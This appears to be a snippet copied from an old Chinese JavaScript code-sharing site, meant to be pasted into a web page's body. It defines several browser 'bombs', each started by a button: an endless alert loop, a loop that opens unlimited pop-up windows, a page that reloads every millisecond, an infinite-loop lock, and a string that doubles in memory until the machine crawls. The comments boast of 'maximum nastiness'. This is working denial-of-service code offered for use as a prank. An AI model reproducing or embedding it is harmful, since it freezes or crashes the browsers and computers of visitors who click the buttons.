<!--把如下代码加入<body>区域中:-->
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function AnnoyingButton()
{
while (true)
window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://www.knowsky.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page. User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
history.go(0) // reload this page
window.setTimeout('ReloadBomb()',1) // tell netscape to hit this function
// every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
while (true){}
}
var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :> I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven! No while loops here!
function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory // keep appending
window.status = "String Length is: " + szEatMemory.length // report size
window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this function
}
// End -->
</SCRIPT>
<center>
下面的每一个按钮都很危险,一按你的电脑立即<font color=red>OVER</font>,不信试试吧!!!<br>
<FORM method=post name="FormAction" action="mailto:"+"webmaster@javascript2000.com">
<INPUT TYPE="button" value="Exploding Windows"
Name="btnExplodeWindows" onClick="WindowBomb()"><P><br>
<INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"
onClick="AnnoyingButton()"><P><br>
<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"
onClick="ReloadBomb()"><P><br>
<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
onClick="WhileLoopLock()"><p><br>
<INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"
onClick="EatMemoryInTime()"><p><br>
<INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()"><br>
</center>